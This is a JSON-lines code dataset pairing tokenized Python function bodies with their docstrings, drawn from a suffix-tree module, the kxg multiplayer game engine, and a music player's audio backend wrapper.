{"signature": "def _get_word_start_index(self, idx):", "body": "i = <NUM_LIT:0><EOL>for _idx in self.word_starts[<NUM_LIT:1>:]:<EOL><INDENT>if idx < _idx:<EOL><INDENT>return i<EOL><DEDENT>else:<EOL><INDENT>i+=<NUM_LIT:1><EOL><DEDENT><DEDENT>return i<EOL>", "docstring": "Helper method that returns the index of the string based on node's\n        starting index", "id": "f2362:c0:m11"}
{"signature": "def lcs(self, stringIdxs=-<NUM_LIT:1>):", "body": "if stringIdxs == -<NUM_LIT:1> or not isinstance(stringIdxs, list):<EOL><INDENT>stringIdxs = set(range(len(self.word_starts)))<EOL><DEDENT>else:<EOL><INDENT>stringIdxs = set(stringIdxs)<EOL><DEDENT>deepestNode = self._find_lcs(self.root, stringIdxs)<EOL>start = deepestNode.idx<EOL>end = deepestNode.idx + deepestNode.depth<EOL>return self.word[start:end]<EOL>", "docstring": "Returns the Largest Common Substring of Strings provided in stringIdxs.\n        If stringIdxs is not provided, the LCS of all strings is returned.\n\n        ::param stringIdxs: Optional: List of indexes of strings.", "id": "f2362:c0:m12"}
{"signature": "def _find_lcs(self, node, stringIdxs):", "body": "nodes = [self._find_lcs(n, stringIdxs)<EOL>for (n,_) in node.transition_links<EOL>if n.generalized_idxs.issuperset(stringIdxs)]<EOL>if nodes == []:<EOL><INDENT>return node<EOL><DEDENT>deepestNode = max(nodes, key=lambda n: n.depth)<EOL>return deepestNode<EOL>", "docstring": "Helper method that finds LCS by traversing the labeled GSD.", "id": "f2362:c0:m13"}
{"signature": "def _generalized_word_starts(self, xs):", "body": "self.word_starts = []<EOL>i = <NUM_LIT:0><EOL>for n in range(len(xs)):<EOL><INDENT>self.word_starts.append(i)<EOL>i += len(xs[n]) + <NUM_LIT:1><EOL><DEDENT>", "docstring": "Helper method returns the starting indexes of strings in GST", "id": "f2362:c0:m14"}
{"signature": "def find(self, y):", "body": "node = self.root<EOL>while True:<EOL><INDENT>edge = self._edgeLabel(node, node.parent)<EOL>if edge.startswith(y):<EOL><INDENT>return node.idx<EOL><DEDENT>i = <NUM_LIT:0><EOL>while(i < len(edge) and edge[i] == y[<NUM_LIT:0>]):<EOL><INDENT>y = y[<NUM_LIT:1>:]<EOL>i += <NUM_LIT:1><EOL><DEDENT>if i != <NUM_LIT:0>:<EOL><INDENT>if i == len(edge) and y != '<STR_LIT>':<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT><DEDENT>node = node._get_transition_link(y[<NUM_LIT:0>])<EOL>if not node:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT><DEDENT>", "docstring": "Returns starting position of the substring y in the string used for\n        building the Suffix tree.\n\n        :param y: String\n        :return: Index of the starting position of string y in the string used for building the Suffix tree\n                 -1 if y is not a substring.", "id": "f2362:c0:m15"}
{"signature": "def _edgeLabel(self, node, parent):", "body": "return self.word[node.idx + parent.depth : node.idx + node.depth]<EOL>", "docstring": "Helper method, returns the edge label between a node and it's parent", "id": "f2362:c0:m17"}
{"signature": "def _terminalSymbolsGenerator(self):", "body": "py2 = sys.version[<NUM_LIT:0>] < '<STR_LIT:3>'<EOL>UPPAs = list(list(range(<NUM_LIT>,<NUM_LIT>+<NUM_LIT:1>)) + list(range(<NUM_LIT>,<NUM_LIT>+<NUM_LIT:1>)) + list(range(<NUM_LIT>, <NUM_LIT>+<NUM_LIT:1>)))<EOL>for i in UPPAs:<EOL><INDENT>if py2:<EOL><INDENT>yield(unichr(i))<EOL><DEDENT>else:<EOL><INDENT>yield(chr(i))<EOL><DEDENT><DEDENT>raise ValueError(\"<STR_LIT>\")<EOL>", "docstring": "Generator of unique terminal symbols used for building the Generalized Suffix Tree.\n        Unicode Private Use Area U+E000..U+F8FF is used to ensure that terminal symbols\n        are not part of the input string.", "id": "f2362:c0:m18"}
{"signature": "def run_dummy_main(*command_lines):", "body": "import shlex<EOL>with kxg.quickstart.ProcessPool(time_limit=<NUM_LIT:4>) as pool:<EOL><INDENT>for command_line in command_lines:<EOL><INDENT>name = '<STR_LIT>'.format(command_line)<EOL>pool.start(name, dummy_main, shlex.split(command_line))<EOL><DEDENT><DEDENT>", "docstring": "Run the specified command lines in threads so that clients and servers \ncan talk to each other if they need to.  In some cases only one thread \nwill be started, but that's not a problem.  Use threads instead of \nprocesses for the benefit of the code coverage analysis.", "id": "f2366:m1"}
{"signature": "def unsafe_method(self, x):", "body": "pass<EOL>", "docstring": "Docstring.", "id": "f2370:c10:m4"}
{"signature": "def receive_id_from_server(self):", "body": "for message in self.pipe.receive():<EOL><INDENT>if isinstance(message, IdFactory):<EOL><INDENT>self.actor_id_factory = message<EOL>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Listen for an id from the server.\n\nAt the beginning of a game, each client receives an IdFactory from the \nserver.  This factory are used to give id numbers that are guaranteed \nto be unique to tokens that created locally.  This method checks to see if such \na factory has been received.  If it hasn't, this method does not block \nand immediately returns False.  If it has, this method returns True \nafter saving the factory internally.  At this point it is safe to enter \nthe GameStage.", "id": "f2375:c0:m1"}
{"signature": "def execute_sync(self, message):", "body": "info(\"<STR_LIT>\")<EOL>with self.world._unlock_temporarily():<EOL><INDENT>message._sync(self.world)<EOL>self.world._react_to_sync_response(message)<EOL><DEDENT>for actor in self.actors:<EOL><INDENT>actor._react_to_sync_response(message)<EOL><DEDENT>", "docstring": "Respond when the server indicates that the client is out of sync.\n\nThe server can request a sync when this client sends a message that \nfails the check() on the server.  If the reason for the failure isn't \nvery serious, then the server can decide to send it as usual in the \ninterest of a smooth gameplay experience.  When this happens, the \nserver sends out an extra response providing the clients with the\ninformation they need to resync themselves.", "id": "f2375:c0:m4"}
{"signature": "def execute_undo(self, message):", "body": "info(\"<STR_LIT>\")<EOL>with self.world._unlock_temporarily():<EOL><INDENT>message._undo(self.world)<EOL>self.world._react_to_undo_response(message)<EOL><DEDENT>for actor in self.actors:<EOL><INDENT>actor._react_to_undo_response(message)<EOL><DEDENT>", "docstring": "Manage the response when the server rejects a message.\n\nAn undo is when required this client sends a message that the server \nrefuses to pass on to the other clients playing the game.  When this \nhappens, the client must undo the changes that the message made to the \nworld before being sent or crash.  Note that unlike sync requests, undo \nrequests are only reported to the client that sent the offending \nmessage.", "id": "f2375:c0:m5"}
{"signature": "def _relay_message(self, message):", "body": "info(\"<STR_LIT>\")<EOL>if not message.was_sent_by(self._id_factory):<EOL><INDENT>self.pipe.send(message)<EOL>self.pipe.deliver()<EOL><DEDENT>", "docstring": "Relay messages from the forum on the server to the client represented \nby this actor.", "id": "f2375:c1:m6"}
{"signature": "def _react_to_message(self, message):", "body": "pass<EOL>", "docstring": "Don't ever change the world in response to a message.\n\nThis method is defined is called by the game engine to trigger \ncallbacks tied by this actor to particular messages.  This is useful \nfor ordinary actors, but remote actors are only meant to shuttle \nmessage between clients and should never react to individual messages.", "id": "f2375:c1:m7"}
{"signature": "def update(self, time):", "body": "<EOL>total_acceleration = Vector.null()<EOL>max_jerk = self.max_acceleration<EOL>for behavior in self.behaviors:<EOL><INDENT>acceleration, importance = behavior.update()<EOL>weighted_acceleration = acceleration * importance<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>total_acceleration += weighted_acceleration<EOL><DEDENT>self.acceleration = total_acceleration<EOL>Sprite.update(self, time)<EOL>if self.velocity.magnitude > <NUM_LIT:0.0>:<EOL><INDENT>self.facing = self.velocity.normal<EOL><DEDENT>", "docstring": "Update acceleration. Accounts for the importance and\n        priority (order) of multiple behaviors.", "id": "f2380:c1:m2"}
{"signature": "def update (self):", "body": "delta_velocity = Vector.null()<EOL>target_position = self.target.get_position()<EOL>sprite_position = self.sprite.get_position()<EOL>desired_direction = target_position - sprite_position<EOL>if <NUM_LIT:0.0> == self.los or desired_direction.magnitude <= self.los:<EOL><INDENT>desired_normal = desired_direction.normal<EOL>desired_velocity = desired_normal * self.sprite.get_max_velocity()<EOL>delta_velocity = desired_velocity - self.sprite.get_velocity()<EOL><DEDENT>self.last_delta_velocity = delta_velocity<EOL>return delta_velocity, self.power<EOL>", "docstring": "Calculate what the desired change in velocity is. \n        delta_velocity = acceleration * delta_time\n        Time will be dealt with by the sprite.", "id": "f2380:c4:m1"}
{"signature": "def update (self):", "body": "delta_velocity = Vector.null()<EOL>target_position = self.target.get_position()<EOL>sprite_position = self.sprite.get_position()<EOL>desired_direction = target_position - sprite_position<EOL>if <NUM_LIT:0.0> == self.los or desired_direction.magnitude <= self.los:<EOL><INDENT>try:<EOL><INDENT>desired_normal = desired_direction.normal<EOL><DEDENT>except NullVectorError:<EOL><INDENT>desired_normal = Vector.null()<EOL><DEDENT>desired_velocity = desired_normal * self.sprite.get_max_speed()<EOL>delta_velocity = desired_velocity - self.sprite.get_velocity()<EOL><DEDENT>self.last_delta_velocity = delta_velocity<EOL>return delta_velocity, self.power<EOL>", "docstring": "Calculate what the desired change in velocity is. \n        delta_velocity = acceleration * delta_time\n        Time will be dealt with by the sprite.", "id": "f2380:c5:m1"}
{"signature": "def watch_token(method):", "body": "method._kxg_watch_token = True<EOL>return method<EOL>", "docstring": "Mark a token extension method that should automatically be called when a \ntoken method of the same name is called.\n\nThis decorator must only be used on TokenExtension methods, otherwise it \nwill silently do nothing.  The reason is that the decorator itself can't do \nanything but label the given method, because at the time of decoration the \ntoken to watch isn't known.  The method is actually setup to watch a token \nin the TokenExtension constructor, which searches for the label added here.  \nBut other classes won't make this search and will silently do nothing.", "id": "f2381:m1"}
{"signature": "@debug_only<EOL>def require_token(object):", "body": "require_instance(Token(), object)<EOL>", "docstring": "Raise an ApiUsageError if the given object is not a fully constructed \ninstance of a Token subclass.", "id": "f2381:m2"}
{"signature": "@debug_only<EOL>def require_active_token(object):", "body": "require_token(object)<EOL>token = object<EOL>if not token.has_id:<EOL><INDENT>raise ApiUsageError(\"\"\"<STR_LIT>\"\"\")<EOL><DEDENT>if not token.has_world:<EOL><INDENT>raise ApiUsageError(\"\"\"<STR_LIT>\"\"\")<EOL><DEDENT>", "docstring": "Raise an ApiUsageError if the given object is not a token that is currently \nparticipating in the game.  To be participating in the game, the given \ntoken must have an id number and be associated with the world.", "id": "f2381:m3"}
{"signature": "def __new__(meta, name, bases, members):", "body": "if __debug__:<EOL><INDENT>meta.add_safety_checks(members)<EOL><DEDENT>return super().__new__(meta, name, bases, members)<EOL>", "docstring": "Add checks to make sure token methods are being called safely.\n\nIn order to keep multiplayer games in sync, the world should only be \nmodified at particular times (e.g. token update methods and messages).  \nThe purpose of this metaclass is to stop you from accidentally trying \nto modify the world outside of these defined times.  These mistakes \nwould otherwise cause hard-to-debug sync errors.\n\nThe engine indicates when it is safe to modify the world by setting a \nboolean lock flag in the world.  This metaclass adds a bit of logic to \nnon-read-only token methods that makes sure the world is unlocked \nbefore continuing.  The kxg.read_only() decorator can be used to \nindicate which methods are read-only, and are therefore excluded from \nthese checks.\n\nThe checks configured by this metaclass help find bugs, but may also \nincur significant computational expense.  By invoking python with \noptimization enabled (i.e. passing -O) these checks are skipped.", "id": "f2381:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def add_safety_checks(meta, members):<DEDENT>", "body": "for member_name, member_value in members.items():<EOL><INDENT>members[member_name] = meta.add_safety_check(<EOL>member_name, member_value)<EOL><DEDENT>", "docstring": "Iterate through each member of the class being created and add a \nsafety check to every method that isn't marked as read-only.", "id": "f2381:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def add_safety_check(member_name, member_value):<DEDENT>", "body": "import functools<EOL>from types import FunctionType<EOL>is_method = isinstance(member_value, FunctionType)<EOL>is_read_only = hasattr(member_value, '<STR_LIT>')<EOL>is_private = member_name.startswith('<STR_LIT:_>')<EOL>if not is_method or is_read_only or is_private:<EOL><INDENT>return member_value<EOL><DEDENT>def safety_checked_method(self, *args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>world = getattr(self, '<STR_LIT>', None)<EOL>if world and world.is_locked():<EOL><INDENT>nonlocal member_name<EOL>raise ApiUsageError(\"\"\"<STR_LIT>\"\"\")<EOL><DEDENT>return member_value(self, *args, **kwargs)<EOL><DEDENT>functools.update_wrapper(<EOL>safety_checked_method, member_value,<EOL>assigned=functools.WRAPPER_ASSIGNMENTS + (<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>)<EOL>)<EOL>return safety_checked_method<EOL>", "docstring": "If the given member is a method that is public (i.e. doesn't start with \nan underscore) and hasn't been marked as read-only, replace it with a \nversion that will check to make sure the world is locked.  This ensures \nthat methods that alter the token are only called from update methods \nor messages.", "id": "f2381:c0:m2"}
{"signature": "@read_only<EOL><INDENT>def watch_method(self, method_name, callback):<DEDENT>", "body": "<EOL>try:<EOL><INDENT>method = getattr(self, method_name)<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise ApiUsageError(\"\"\"<STR_LIT>\"\"\")<EOL><DEDENT>if not isinstance(method, Token.WatchedMethod):<EOL><INDENT>setattr(self, method_name, Token.WatchedMethod(method))<EOL>method = getattr(self, method_name)<EOL><DEDENT>method.add_watcher(callback)<EOL>", "docstring": "Register the given callback to be called whenever the method with the \ngiven name is called.  You can easily take advantage of this feature in \ntoken extensions by using the @watch_token decorator.", "id": "f2381:c2:m12"}
{"signature": "def _check_if_forum_observation_enabled(self):", "body": "try:<EOL><INDENT>super()._check_if_forum_observation_enabled()<EOL><DEDENT>except ApiUsageError:<EOL><INDENT>raise ApiUsageError(\"\"\"<STR_LIT>\"\"\")<EOL><DEDENT>", "docstring": "Give a helpful error if the user attempts to subscribe or unsubscribe \nfrom messages while the token is not registered with a world.  This can \neasily happen if the user attempts to subscribe to messages in the \nconstructor.  However, because the constructor is only called on one \nclient and message handlers cannot be pickled, subscribing at this time \nwould create hard-to-find synchronization bugs.", "id": "f2381:c2:m18"}
{"signature": "def _remove_from_world(self):", "body": "self.on_remove_from_world()<EOL>self._extensions = {}<EOL>self._disable_forum_observation()<EOL>self._world = None<EOL>self._id = None<EOL>", "docstring": "Clear all the internal data the token needed while it was part of \nthe world.\n\nNote that this method doesn't actually remove the token from the \nworld.  That's what World._remove_token() does.  This method is just \nresponsible for setting the internal state of the token being removed.", "id": "f2381:c2:m21"}
{"signature": "@read_only<EOL><INDENT>def get_token(self, id):<DEDENT>", "body": "return self._tokens[id]<EOL>", "docstring": "Return the token with the given id.  If no token with the given id is \nregistered to the world, an IndexError is thrown.", "id": "f2381:c3:m7"}
{"signature": "@read_only<EOL><INDENT>def get_last_id(self):<DEDENT>", "body": "return max(self._tokens)<EOL>", "docstring": "Return the largest token id registered with the world.  If no tokens \nhave been added to the world, the id for the world itself (0) is \nreturned.  This means that the first \"real\" token id is 1.", "id": "f2381:c3:m8"}
{"signature": "@read_only<EOL><INDENT>def is_locked(self):<DEDENT>", "body": "return self._is_locked<EOL>", "docstring": "Return whether or not the world is currently allowed to be modified.", "id": "f2381:c3:m9"}
{"signature": "@read_only<EOL><INDENT>def has_game_ended(self):<DEDENT>", "body": "return self._has_game_ended<EOL>", "docstring": "Return true if the game has ended.", "id": "f2381:c3:m11"}
{"signature": "@contextlib.contextmanager<EOL><INDENT>def _unlock_temporarily(self):<DEDENT>", "body": "if not self._is_locked:<EOL><INDENT>yield<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>self._is_locked = False<EOL>yield<EOL><DEDENT>finally:<EOL><INDENT>self._is_locked = True<EOL><DEDENT><DEDENT>", "docstring": "Allow tokens to modify the world for the duration of a with-block.\n\nIt's important that tokens only modify the world at appropriate times, \notherwise the changes they make may not be communicated across the \nnetwork to other clients.  To help catch and prevent these kinds of \nerrors, the game engine keeps the world locked most of the time and \nonly briefly unlocks it (using this method) when tokens are allowed to \nmake changes.  When the world is locked, token methods that aren't \nmarked as being read-only can't be called.  When the world is unlocked, \nany token method can be called.  These checks can be disabled by \nrunning python with optimization enabled.\n\nYou should never call this method manually from within your own game.  \nThis method is intended to be used by the game engine, which was \ncarefully designed to allow the world to be modified only when safe.  \nCalling this method yourself disables an important safety check.", "id": "f2381:c3:m15"}
{"signature": "def _set_actors(self, actors):", "body": "self._actors = actors<EOL>", "docstring": "Tell the world which actors are running on this machine.  This \ninformation is used to create extensions for new tokens.", "id": "f2381:c3:m19"}
{"signature": "def exit_stage(self):", "body": "self.is_finished = True<EOL>", "docstring": "Stop this stage from executing once the current update ends.", "id": "f2382:c2:m2"}
{"signature": "def exit_theater(self):", "body": "self.theater.exit()<EOL>", "docstring": "Exit the game once the current update ends.", "id": "f2382:c2:m3"}
{"signature": "def on_enter_stage(self):", "body": "pass<EOL>", "docstring": "Give the stage a chance to set itself up before it is updated for the \nfirst time.", "id": "f2382:c2:m4"}
{"signature": "def on_update_stage(self, dt):", "body": "pass<EOL>", "docstring": "Give the stage a chance to react to each clock cycle.\n\nThe amount of time that passed since the last clock cycle is provided \nas an argument.", "id": "f2382:c2:m5"}
{"signature": "def on_exit_stage(self):", "body": "pass<EOL>", "docstring": "Give the stage a chance to react before it is stopped and the next \nstage is started.\n\nYou can define the next stage by setting the Stage.successor attribute.  \nIf the successor is static, you can just set it in the constructor.  \nBut if it will differ depending on the context, this method may be a \ngood place to calculate it because it is called only once and just \nbefore the theater queries for the successor.", "id": "f2382:c2:m6"}
{"signature": "def on_enter_stage(self):", "body": "with self.world._unlock_temporarily():<EOL><INDENT>self.forum.connect_everyone(self.world, self.actors)<EOL><DEDENT>self.forum.on_start_game()<EOL>with self.world._unlock_temporarily():<EOL><INDENT>self.world.on_start_game()<EOL><DEDENT>num_players = len(self.actors) - <NUM_LIT:1><EOL>for actor in self.actors:<EOL><INDENT>actor.on_setup_gui(self.gui)<EOL><DEDENT>for actor in self.actors:<EOL><INDENT>actor.on_start_game(num_players)<EOL><DEDENT>", "docstring": "Prepare the actors, the world, and the messaging system to begin \nplaying the game.\n\nThis method is guaranteed to be called exactly once upon entering the \ngame stage.", "id": "f2382:c3:m1"}
{"signature": "def on_update_stage(self, dt):", "body": "for actor in self.actors:<EOL><INDENT>actor.on_update_game(dt)<EOL><DEDENT>self.forum.on_update_game()<EOL>with self.world._unlock_temporarily():<EOL><INDENT>self.world.on_update_game(dt)<EOL><DEDENT>if self.world.has_game_ended():<EOL><INDENT>self.exit_stage()<EOL><DEDENT>", "docstring": "Sequentially update the actors, the world, and the messaging system.  \nThe theater terminates once all of the actors indicate that they are done.", "id": "f2382:c3:m2"}
{"signature": "def on_exit_stage(self):", "body": "<EOL>self.forum.on_finish_game()<EOL>for actor in self.actors:<EOL><INDENT>actor.on_finish_game()<EOL><DEDENT>with self.world._unlock_temporarily():<EOL><INDENT>self.world.on_finish_game()<EOL><DEDENT>", "docstring": "Give the actors, the world, and the messaging system a chance to react \nto the end of the game.", "id": "f2382:c3:m3"}
{"signature": "def tokens_referenced(self):", "body": "tokens = set()<EOL>def persistent_id(obj):<EOL><INDENT>from .tokens import Token<EOL>if isinstance(obj, Token):<EOL><INDENT>tokens.add(obj)<EOL>return obj.id<EOL><DEDENT><DEDENT>from pickle import Pickler<EOL>from io import BytesIO<EOL>pickler = Pickler(BytesIO())<EOL>pickler.persistent_id = persistent_id<EOL>pickler.dump(self)<EOL>return tokens<EOL>", "docstring": "Return a list of all the tokens that are referenced (i.e. contained in) \nthis message.  Tokens that haven't been assigned an id yet are searched \nrecursively for tokens.  So this method may return fewer results after \nthe message is sent.  This information is used by the game engine to \ncatch mistakes like forgetting to add a token to the world or keeping a \nstale reference to a token after its been removed.", "id": "f2384:c0:m6"}
{"signature": "def _assign_token_ids(self, id_factory):", "body": "for token in self.tokens_to_add():<EOL><INDENT>token._give_id(id_factory)<EOL><DEDENT>", "docstring": "Assign id numbers to any tokens that will be added to the world by this \nmessage.\n\nThis method is called by Actor but not by ServerActor, so it's \nguaranteed to be called exactly once.  In fact, this method is not \nreally different from the constructor, except that the id_factory \nobject is nicely provided.  That's useful for assigning ids to tokens \nbut probably nothing else.  This method is called before _check() so \nthat _check() can make sure that valid ids were assigned (although by \ndefault it doesn't).", "id": "f2384:c0:m17"}
{"signature": "def main(world_cls, referee_cls, gui_cls, gui_actor_cls, ai_actor_cls,<EOL>theater_cls=PygletTheater, default_host=DEFAULT_HOST,<EOL>default_port=DEFAULT_PORT, argv=None):", "body": "import sys, os, docopt, nonstdlib<EOL>exe_name = os.path.basename(sys.argv[<NUM_LIT:0>])<EOL>usage = main.__doc__.format(**locals()).strip()<EOL>args = docopt.docopt(usage, argv or sys.argv[<NUM_LIT:1>:])<EOL>num_guis = int(args['<STR_LIT>'] or <NUM_LIT:1>)<EOL>num_ais = int(args['<STR_LIT>'] or <NUM_LIT:0>)<EOL>host, port = args['<STR_LIT>'], int(args['<STR_LIT>'])<EOL>logging.basicConfig(<EOL>format='<STR_LIT>',<EOL>level=nonstdlib.verbosity(args['<STR_LIT>']),<EOL>)<EOL>if args['<STR_LIT>']:<EOL><INDENT>print(\"\"\"<STR_LIT>\"\"\")<EOL>game = MultiplayerDebugger(<EOL>world_cls, referee_cls, gui_cls, gui_actor_cls, num_guis,<EOL>ai_actor_cls, num_ais, theater_cls, host, port)<EOL><DEDENT>else:<EOL><INDENT>game = theater_cls()<EOL>ai_actors = [ai_actor_cls() for i in range(num_ais)]<EOL>if args['<STR_LIT>']:<EOL><INDENT>game.gui = gui_cls()<EOL>game.initial_stage = UniplayerGameStage(<EOL>world_cls(), referee_cls(), gui_actor_cls(), ai_actors)<EOL>game.initial_stage.successor = PostgameSplashStage()<EOL><DEDENT>if args['<STR_LIT>']:<EOL><INDENT>game.gui = gui_cls()<EOL>game.initial_stage = ClientConnectionStage(<EOL>world_cls(), gui_actor_cls(), host, port)<EOL><DEDENT>if args['<STR_LIT>']:<EOL><INDENT>game.initial_stage = ServerConnectionStage(<EOL>world_cls(), referee_cls(), num_guis, ai_actors,<EOL>host, port)<EOL><DEDENT><DEDENT>game.play()<EOL>", "docstring": "Run a game being developed with the kxg game engine.\n\nUsage:\n    {exe_name} sandbox [<num_ais>] [-v...]\n    {exe_name} client [--host HOST] [--port PORT] [-v...]\n    {exe_name} server <num_guis> [<num_ais>] [--host HOST] [--port PORT] [-v...] \n    {exe_name} debug <num_guis> [<num_ais>] [--host HOST] [--port PORT] [-v...]\n    {exe_name} --help\n\nCommands:\n    sandbox\n        Play a single-player game with the specified number of AIs.  None of \n        the multiplayer machinery will be used.\n\n    client\n        Launch a client that will try to connect to a server on the given host \n        and port.  Once it connects and the game starts, the client will allow \n        you to play the game against any other connected clients.\n\n    server\n        Launch a server that will manage a game between the given number of \n        human and AI players.  The human players must connect using this \n        command's client mode.\n\n    debug\n        Debug a multiplayer game locally.  This command launches a server and \n        the given number of clients all in different processes, and configures \n        the logging system such that the output from each process can be easily \n        distinguished.\n\nArguments:\n    <num_guis>\n        The number of human players that will be playing the game.  Only needed \n        by commands that will launch some sort of multiplayer server.\n\n    <num_ais>\n        The number of AI players that will be playing the game.  Only needed by \n        commands that will launch single-player games or multiplayer servers.\n\nOptions:\n    -x --host HOST          [default: {default_host}]\n        The address of the machine running the server.  Must be accessible from \n        the machines running the clients.\n\n    -p --port PORT          [default: {default_port}]\n        The port that the server should listen on.  Don't specify a value less \n        than 1024 unless the server is running with root permissions.\n\n    -v --verbose \n        Have the game engine log more information about what it's doing.  You \n        can specify this option several times to get more and more information.\n\nThis command is provided so that you can start writing your game with the least \npossible amount of boilerplate code.  However, the clients and servers provided \nby this command are not capable of running a production game.  Once you have \nwritten your game and want to give it a polished set of menus and options, \nyou'll have to write new Stage subclasses encapsulating that logic and you'll \nhave to call those stages yourself by interacting more directly with the \nTheater class.  The online documentation has more information on this process.", "id": "f2386:m0"}
{"signature": "def _run_supervisor(self):", "body": "import time<EOL>still_supervising = lambda: (<EOL>multiprocessing.active_children()<EOL>or not self.log_queue.empty()<EOL>or not self.exception_queue.empty())<EOL>try:<EOL><INDENT>while still_supervising():<EOL><INDENT>try:<EOL><INDENT>record = self.log_queue.get_nowait()<EOL>logger = logging.getLogger(record.name)<EOL>logger.handle(record)<EOL><DEDENT>except queue.Empty:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>exception = self.exception_queue.get_nowait()<EOL><DEDENT>except queue.Empty:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise exception<EOL><DEDENT>time.sleep(<NUM_LIT:1>/self.frame_rate)<EOL>self.elapsed_time += <NUM_LIT:1>/self.frame_rate<EOL>if self.time_limit and self.elapsed_time > self.time_limit:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>for process in multiprocessing.active_children():<EOL><INDENT>process.terminate()<EOL><DEDENT><DEDENT>", "docstring": "Poll the queues that the worker can use to communicate with the \nsupervisor, until all the workers are done and all the queues are \nempty.  Handle messages as they appear.", "id": "f2386:c3:m5"}
{"signature": "def play(self, song):", "body": "pass<EOL>", "docstring": "Called once when a song starts playing", "id": "f2388:c0:m0"}
{"signature": "def pre_poll(self):", "body": "pass<EOL>", "docstring": "Called before polling for process status", "id": "f2388:c0:m1"}
{"signature": "def post_poll(self):", "body": "pass<EOL>", "docstring": "Called after polling for process status", "id": "f2388:c0:m2"}
{"signature": "def input(self, value, song):", "body": "pass<EOL>", "docstring": "Called after user input during song playback", "id": "f2388:c0:m3"}
{"signature": "def station_selection_menu(self, error=None):", "body": "self.screen.clear()<EOL>if error:<EOL><INDENT>self.screen.print_error(\"<STR_LIT>\".format(error))<EOL><DEDENT>for i, station in enumerate(self.stations):<EOL><INDENT>i = \"<STR_LIT>\".format(i)<EOL>print(\"<STR_LIT>\".format(Colors.yellow(i), station.name))<EOL><DEDENT>return self.stations[self.screen.get_integer(\"<STR_LIT>\")]<EOL>", "docstring": "Format a station menu and make the user select a station", "id": "f2388:c1:m3"}
{"signature": "def play(self, song):", "body": "if song.is_ad:<EOL><INDENT>print(\"<STR_LIT>\".format(Colors.cyan(\"<STR_LIT>\")))<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\".format(Colors.cyan(song.song_name),<EOL>Colors.yellow(song.artist_name)))<EOL><DEDENT>", "docstring": "Play callback", "id": "f2388:c1:m4"}
{"signature": "def input(self, input, song):", "body": "try:<EOL><INDENT>cmd = getattr(self, self.CMD_MAP[input][<NUM_LIT:1>])<EOL><DEDENT>except (IndexError, KeyError):<EOL><INDENT>return self.screen.print_error(<EOL>\"<STR_LIT>\".format(input))<EOL><DEDENT>cmd(song)<EOL>", "docstring": "Input callback, handles key presses", "id": "f2388:c1:m17"}
{"signature": "def __init__(self, callbacks, control_channel):", "body": "self._control_channel = control_channel<EOL>self._control_fd = control_channel.fileno()<EOL>self._callbacks = callbacks<EOL>self._process = None<EOL>self._cmd = [self._find_path()]<EOL>", "docstring": "Constructor\n\n        Will attempt to find the player binary on construction and fail if it\n        is not found. Subclasses should append any additional arguments to\n        _cmd.", "id": "f2389:c3:m0"}
{"signature": "def _find_path(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Find the path to the backend binary\n\n        This method may fail with a PlayerUnusable exception in which case the\n        consumer should opt for another backend.", "id": "f2389:c3:m1"}
{"signature": "def _load_track(self, song):", "body": "raise NotImplementedError<EOL>", "docstring": "Load a track into the audio backend by song model", "id": "f2389:c3:m2"}
{"signature": "def _player_stopped(self, value):", "body": "raise NotImplementedError<EOL>", "docstring": "Determine if player has stopped", "id": "f2389:c3:m3"}
{"signature": "def raise_volume(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Raise the volume of the audio output\n\n        The player backend may not support this functionality in which case it\n        should not override this method.", "id": "f2389:c3:m4"}
{"signature": "def lower_volume(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Lower the volume of the audio output\n\n        The player backend may not support this functionality in which case it\n        should not override this method.", "id": "f2389:c3:m5"}
{"signature": "def _post_start(self):", "body": "return<EOL>", "docstring": "Optionally, do something after the audio backend is started", "id": "f2389:c3:m6"}
{"signature": "def _loop_hook(self):", "body": "return<EOL>", "docstring": "Optionally, do something each main loop iteration", "id": "f2389:c3:m7"}
{"signature": "def _read_from_process(self, handle):", "body": "return handle.readline().strip()<EOL>", "docstring": "Read a line from the process and clean it\n\n        Different audio backends return text in different formats so provides a\n        hook for each subclass to customize reader behaviour.", "id": "f2389:c3:m8"}
{"signature": "def _send_cmd(self, cmd):", "body": "self._process.stdin.write(\"<STR_LIT>\".format(cmd).encode(\"<STR_LIT:utf-8>\"))<EOL>self._process.stdin.flush()<EOL>", "docstring": "Write command to remote process", "id": "f2389:c3:m9"}
{"signature": "def stop(self):", "body": "self._send_cmd(\"<STR_LIT>\")<EOL>", "docstring": "Stop the currently playing song", "id": "f2389:c3:m10"}
{"signature": "def pause(self):", "body": "self._send_cmd(\"<STR_LIT>\")<EOL>", "docstring": "Pause the player", "id": "f2389:c3:m11"}
{"signature": "def start(self):", "body": "self._ensure_started()<EOL>", "docstring": "Start the audio backend process for the player\n\n        This is just a friendlier API for consumers", "id": "f2389:c3:m13"}
{"signature": "def _ensure_started(self):", "body": "if self._process and self._process.poll() is None:<EOL><INDENT>return<EOL><DEDENT>if not getattr(self, \"<STR_LIT>\"):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>log.debug(\"<STR_LIT>\", self._cmd)<EOL>self._process = SilentPopen(self._cmd)<EOL>self._post_start()<EOL>", "docstring": "Ensure player backing process is started", "id": "f2389:c3:m14"}
{"signature": "def _get_select_readers(self):", "body": "return [self._control_channel, self._process.stdout]<EOL>", "docstring": "Return a list of file-like objects for reading\n\n        Will be passed to select() to poll for readers.", "id": "f2389:c3:m15"}
